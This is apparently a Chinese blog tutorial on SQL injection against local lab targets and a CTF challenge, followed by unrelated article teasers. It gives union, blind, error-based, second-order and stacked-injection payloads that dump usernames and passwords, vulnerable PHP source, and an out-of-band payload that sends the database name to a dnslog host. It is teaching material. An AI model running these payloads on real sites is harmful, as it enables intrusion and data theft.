sql注入详解【从数据库架构分析】

文章目录

  • 简介
  • 数据库的架构
  • sql注入
        • 概念
        • 正常语句
        • 正常回显页面
        • 在页面中使用sql语句
  • 跨库查询
  • sql文件读写
        • 影响条件
        • 复现
        • 读写的路径的问题
  • sql注入请求分类
        • sql注入请求类型
        • sql注入请求方式:
        • sql注入数据请求格式
  • 数据库的增删改查
          • 数据库查询
          • 数据库添加
          • 数据库删除
          • 数据库修改
  • 盲注
          • 时间
          • 布尔
          • 报错
  • 二次注入
          • 插入恶意发数据
          • 引用恶意数据
          • 条件:
          • 示例:
  • 堆叠注入
  • 带外注入

简介

SQL注入是一种常见的Web应用程序安全漏洞,它允许攻击者在Web应用程序中插入恶意SQL语句,从而操纵数据库执行非授权的操作。这种攻击利用了应用程序在处理用户输入时的不足,特别是当应用程序直接将用户输入作为SQL语句的一部分使用,而没有进行适当的验证和清理时。

数据库的架构

  • access数据库无数据库用户

  • mysql数据库

    • mysql类型一

      • root(自带默认)

        • 网站A testA
        • 网站B testB
    • mysql类型二

      • testA用户

        • 网站A testA
      • testB用户

        • 网站B testB
  • mysql数据库名称含义

    • information_schema:存储数据库下的数据库名、表名及列名信息的数据库。

      information_schema.schemata:记录数据库名信息的表。

      information_schema.tables:记录表名信息的表。

      information_schema.columns:记录列名信息的表。

      schema_name:在information_schema.schemata中,用于记录数据库名的列名值。

      table_schema:在information_schema.tables中,用于记录数据库名的列名值。

      table_name:在information_schema.tables中,用于记录表名的列名值。

      column_name:在information_schema.columns中,用于记录列名的字段。

    • 示例

      • information_schema.schemata中的schema_name

      • information_schema.tables中的table_name

      • information_schema.columns中的column_name

sql注入

  1. 概念
    1. SQL注入是一种常见的Web应用程序安全漏洞,它允许攻击者在Web应用程序中插入恶意SQL语句,从而操纵数据库执行非授权的操作。这种攻击利用了应用程序在处理用户输入时的不足,特别是当应用程序直接将用户输入作为SQL语句的一部分使用,而没有进行适当的验证和清理时。
  2. 正常语句
  3. 正常回显页面
  4. 在页面中使用sql语句
    1. 查有多少字段

      1. http://127.0.0.1/sqliab/Less-1/?id=1’order by 3–+

      2. http://127.0.0.1/sqliab/Less-1/?id=1’order by 4–+,报错说明有2个字段

    2. 数据库名称

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,database(),3–+
    3. 表名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“security”–+

      2. 字段

        1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’–+
      3. 对应字段的值

      4. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(0x5c,username,0x5c,password) from users–+

  5. 跨库查询

    1. 数据库名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata–+
    2. 表名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“demo01”–+
    3. 字段

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘news’–+
    4. 字段的值

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(0x5c,page_title,0x5c,heading,0x5c,content) from demo01.news–+

sql文件读写

  1. 影响条件
    1. 当前数据库用户的权限
    2. secyre-file-priv设置
  2. 复现
    1. 读写的路径的问题
      1. 报错显示获取路径
      2. phpinfo页面泄露
      3. 利用常见的默认的中间件,数据库等安装路径读取有价值的信息

sql注入请求分类

  1. sql注入请求类型
    1. 数字型

      1. select * from news where id=$id;
    2. 字符型

      1. select * from news where id=‘$id’;
    3. 搜索型

      1. select * from news where id like ‘%id%’;
    4. 框架型

      1. select * from news where id=(‘$id’);
      2. select * from news where (id=‘$id’);
  2. sql注入请求方式:
    1. get,post,files,http头等

      1. user-agent

        1. 语句: u a = ua= ua=_SERVER[‘HTTP_USER_AGENT’];
      2. cookie

        1. 语句: c = c= c=_COOKIE[‘c’];
      3. X-Forwarded-For:简称XFF头,用于获取服务器的真实ip(可伪造)

        1. 语句: x f f = xff= xff=_SERVER[‘HTTP_X_FORWARDED_FOR’];
      4. Referer:请求来源–从哪个网站来的

        1. 语句: r = r= r=_REQUEST[‘r’];
      5. Host:指定自己想访问的web服务的域名/ip地址和端口号

  3. sql注入数据请求格式
    1. json格式

    2. base64格式

数据库的增删改查

  1. 数据库查询
    1. SELECT * FROM news where id=$id
  2. 数据库添加
    1. INSERT INTO news (ziduanming VALUES (数据)
  3. 数据库删除
    1. DELETE FROM news where id=$id
  4. 数据库修改
    1. UPDATE news SET id=$id

盲注

  1. 时间
    1. 概念

      1. 通过时间判断语句是否成功执行来解决无回显问题
    2. and sleep(1);

    3. and if(1>2,sleep(5),0);

  2. 布尔
    1. 概念

      1. 通过页面是否正常返回来判断语句是否被执行,源码需要有前端输出变量
    2. and length(database())=7;

    3. and left(database(),2)=‘pi’

    4. and substr(database(),1,1)=‘p’

  3. 报错
    1. 概念

      1. 通过页面的容错处理返回的结果来进行注入,源码需要有mysqli_error函数
    2. updatexml函数

      1. http://127.0.0.1/sqli/new.php?id=-1 or updatexml(1,concat(0x7e,(select version()),0x7e),1)

    3. extractvalue函数

      1. and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)));

    4. flor函数

      1. http://127.0.0.1/sqli/new.php?id=-1 OR (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0) * 2)) x FROM information_schema.tables GROUP BY x) a)
    5. NAME_CONST报错

      1. http://127.0.0.1/sqli/new.php?id=-1 or exists(select * from (select*from(select name_const(version(),0))a join (select name_const(version(),0))b)c)

二次注入

  1. 插入恶意发数据
    1. 第一次进行数据库插入数据的时候仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
  2. 引用恶意数据
    1. 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入
  3. 条件:
    1. 插入恶意数据的对应语句需要有addslashes函数,他是用来将传来的数据的单引号进行转义插入数据库,原来主义是防止sql注入的,现在导致了二次注入

      1. 用户输入:xiaodi’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
        转义函数转义后:xiaodi/’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
        数据库显示:xiaodi’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
  4. 示例:
    1. 主要源码

      register.php
      if ($_SERVER['REQUEST_METHOD'] === 'POST') {$username = addslashes($_POST['username']);$password = $_POST['password'];// 插入新用户记录$query = "INSERT INTO users (username, password) VALUES ('$username', '$password')";
      ===================================================================================
      changepassword.php
      $query = "SELECT * FROM users WHERE username = '$username' AND password = '$currentPassword'";$result = mysqli_query($connection, $query) or die(mysqli_error($connection));if (mysqli_num_rows($result) > 0) {// 更新密码$query = "UPDATE users SET password = '$newPassword' WHERE username = '$username'";$updateResult = mysqli_query($connection, $query);if ($updateResult) {echo "Password changed successfully!";} else {echo "Failed to change password!";}} else {echo "Invalid username or current password!";}
      
  5. 堆叠注入

    1. 条件

      1. 查询函数时需要用到mysqli_multi_query函数,而不是mysqli_query()函数,因为他不支持多条语句执行
      2. 数据库(此数据库默认是只能执行一条sql语句,但是可以配合一些函数达到多条语句查询效果,例如联合查询(union select),堆叠注入(mysqli_query()))支持多条语句查询
      3. 存在sql漏洞并未对‘;‘进行过滤
    2. 示例:

      [强网杯 2019]随便注  1
      ';show databases;//注意不是database()
      ';show tables;
      1';use/**/supersqli;SeT @a=0x73656c656374202a2066726f6d206031393139383130393331313134353134603b;prepare a from @a;execute a;#
      进入supersqli数据库,16进制解码后select * from `1919810931114514`;1919810931114514为表名,后面就是执行语句的意思
      解法二:
      1'; handler `1919810931114514` open as a; handler a read next;#
      解读:
      handler代替select,以一行一行显示内容
      open打开表
      as更改表的别名为a
      read next读取数据文件内的数据次数
      解法三:
      1';rename table words to BaiMao;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#
      解读:
      -- 重命名表 words 为 BaiMao
      RENAME TABLE words TO BaiMao;-- 重命名表 1919810931114514 为 words
      RENAME TABLE `1919810931114514` TO words;-- 向表 words 添加一个自动递增的 id 列,并设为主键
      ALTER TABLE words ADD id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY;-- 修改列 flag 的名称为 data,并将其类型改为 varchar(100)
      ALTER TABLE words CHANGE flag data VARCHAR(100);-- 注释掉之后的内容
      

带外注入

  1. 条件

    1. root高权限
    2. 数据库支持load_file函数
  2. 示例:

    1.  SELECT * FROM `news` WHERE id = -1 or (SELECT LOAD_FILE(CONCAT('//', (SELECT DATABASE()),'.k7e9z3.dnslog.cn')));实战碰到的概率不大,演示不了,payload如上所示
      

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/385780.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

拓扑排序+dp(消除主观臆断)

这题一开始写错的原因就是搞错了&#xff0c;处于西边的节点的编号不一定小&#xff0c;不能直接dp&#xff0c;要先进行拓扑排序 写到一般我才发现&#xff0c;其实可以一边dp&#xff0c;一边进行dp #define _CRT_SECURE_NO_WARNINGS #include<bits/stdc.h> using name…

GPT-4o mini 震撼登场:开发者的新机遇与挑战

GPT-4o mini 震撼登场&#xff1a;开发者的新机遇与挑战 一、引言二、GPT-4o mini 模型的卓越性能三、极具竞争力的价格优势四、开发者的探索与实践五、提升开发效率和创新能力的策略六、面临的挑战与应对措施七、未来展望八、总结 在科技的浪潮中&#xff0c;OpenAI 最新推出的…

论文快过(图像配准|Coarse_LoFTR_TRT)|适用于移动端的LoFTR算法的改进分析 1060显卡上45fps

项目地址&#xff1a;https://github.com/Kolkir/Coarse_LoFTR_TRT 创建时间&#xff1a;2022年 相关训练数据&#xff1a;BlendedMVS LoFTR [19]是一种有效的深度学习方法&#xff0c;可以在图像对上寻找合适的局部特征匹配。本文报道了该方法在低计算性能和有限内存条件下的…

改进智能优化算法中的一个常见错误

声明&#xff1a;文章是从本人公众号中复制而来&#xff0c;因此&#xff0c;想最新最快了解各类智能优化算法及其改进的朋友&#xff0c;可关注我的公众号&#xff1a;强盛机器学习&#xff0c;不定期会有很多免费代码分享~ ​昨天看到网上有一个流传很广的改进鲸鱼优化算法M…

vue3 使用Mock

官网: http://mockjs.com/ 安装 npm install mockjs -Dsteps1: main.js 文件引入 import /api/mock.jssteps2: src/api/mock.js import Mock from mockjs import homeApi from ./mockData/home /*** 1.拦截的路径:mock拦截了正常NetWork/网络请求,数据正常响应* 2.方法* …

货架管理a

路由->vue的el标签->Api->call方法里calljs的api接口->数据声明const xxxData-> 编辑按钮:点击跳出页面并把这一行的数据给到表单formDataba2 保存按钮:formDataba2改过的数据->xxApi发送->查询Api 跳转仓库:把tableData.value数据清空->callXxxAp…

传输层协议——TCP

TCP协议 TCP全称为“传输控制协议”&#xff0c;要对数据的传输进行一个详细的控制。 特点 面向连接的可靠性字节流 TCP的协议段格式 源/目的端口&#xff1a;表示数据从哪个进程来&#xff0c;到哪个进程4位首部长度&#xff1a;表示该TCP头部有多少字节&#xff08;注意它…

前后端分离项目部署,vue--nagix发布部署,.net--API发布部署。

目录 Nginx免安装部署文件包准备一、vue前端部署1、修改http.js2、npm run build 编译项目3、解压Nginx免安装,修改nginx.conf二、.net后端发布部署1、编辑appsetting.json,配置跨域请求2、配置WebApi,点击发布3、配置文件发布到那个文件夹4、配置发布相关选项5、点击保存,…

搭建自己的金融数据源和量化分析平台(三):读取深交所股票列表

深交所的股票信息读取比较简单&#xff1a; 看上图&#xff0c;爬虫读取到下载按钮的链接之后发起请求&#xff0c;得到XLS文件后直接解析就可以了。 这里放出深交所爬虫模块的代码&#xff1a; # -*- coding: utf-8 -*- # 深圳交易所爬虫 import osimport pandas as pd imp…

Python代码格式化工具库之black使用详解

概要 在软件开发过程中,代码风格和一致性对于提高代码可读性和可维护性至关重要。Python 作为一种高度可读的语言,有多种代码风格指南,但手动保持代码风格的一致性可能会非常耗时且容易出错。black 是一个 Python 代码格式化工具,旨在通过自动格式化代码,使其符合 PEP 8 …

深入浅出mediasoup—WebRtcTransport

mediasoup 提供了多种 transport&#xff0c;包括 WebRtcTransport、PipeTransport、DirectTransport、PlainTransport 等&#xff0c;用来实现不同目的和场景的媒体通信。WebRtcTransport 是 mediasoup 实现与 WebRTC 客户端进行媒体通信的对象&#xff0c;是 mediasoup 最重要…

Clickhouse 生产集群部署(Centos 环境)

文章目录 机器环境配置安装 JDK 8安装 zookeeperClickhouse 集群安装rpm 包离线安装修改全局配置zookeeper配置Shard和Replica设置image.png添加macros配置启动 clickhouse启动 10.82.46.135 clickhouse server启动 10.82.46.163 clickhouse server启动 10.82.46.218 clickhous…

[网络通信原理]——TCP/IP模型—网络层

网络层 网络层概述 网络层位于OSI模型的第三层&#xff0c;它定义网络设备的逻辑地址&#xff0c;也就是我们说的IP地址&#xff0c;能够在不同的网段之间选择最佳数据转发路径。在网络层中有许多协议&#xff0c;其中主要的协议是IP协议。 IP数据包格式 IP数据报是可变长度…

汽车长翅膀:GPU 是如何加速深度学习模型的训练和推理过程的?

编者按&#xff1a;深度学习的飞速发展离不开硬件技术的突破&#xff0c;而 GPU 的崛起无疑是其中最大的推力之一。但你是否曾好奇过&#xff0c;为何一行简单的“.to(‘cuda’)”代码就能让模型的训练速度突飞猛进&#xff1f;本文正是为解答这个疑问而作。 作者以独特的视角&…

如何使用代理IP进行电子邮件保护?

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 前言 随着企业信息化的深入发展&#xff0c;电子邮件在私人生活和商业运营中起到越来越重要的作用&#xff0c;随之而来电子邮件…

【编程工具使用技巧】VS如何显示行号

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;《编程工具与技巧探索》 期待您的关注 目录 引言 一、VS编译器行号显示的基本步骤 1.打开VS与项目 2.进入选项设置 3.找到并…

LeetCode 637, 67, 399

文章目录 637. 二叉树的层平均值题目链接标签思路代码 67. 二进制求和题目链接标签思路代码 399. 除法求值题目链接标签思路导入value 属性find() 方法union() 方法query() 方法 代码 637. 二叉树的层平均值 题目链接 637. 二叉树的层平均值 标签 树 深度优先搜索 广度优先…

SQL语句(以MySQL为例)——单表、多表查询

笛卡尔积&#xff08;或交叉连接&#xff09;: 笛卡尔乘积是一个数学运算。假设我有两个集合 X 和 Y&#xff0c;那么 X 和 Y 的笛卡尔积就是 X 和 Y 的所有可能组合&#xff0c;也就是第一个对象来自于 X&#xff0c;第二个对象来自于 Y 的所有可能。组合的个数即为两个集合中…

开源监控 - 夜莺项目 v7 正式发版了

前言 上周五去参加了第二届 CCF夜莺开发者创新论坛&#xff0c;在会上&#xff0c;夜莺 v7 LTS 版本正式发布&#xff0c;另有多名嘉宾分享了自己公司的可观测性实践经验&#xff0c;挺有收获。 夜莺 v7 新功能 夜莺 v7 版本更多的着眼在提升用户体验&#xff0c;开箱即用方面…

在WPF中使用WebView2详解

Microsoft Edge WebView2 Microsoft Edge WebView2 控件允许在本机应用中嵌入 web 技术(HTML、CSS 以及 JavaScript)。 WebView2 控件使用 Microsoft Edge 作为绘制引擎&#xff0c;以在本机应用中显示 web 内容。 使用 WebView2 可以在本机应用的不同部分嵌入 Web 代码&…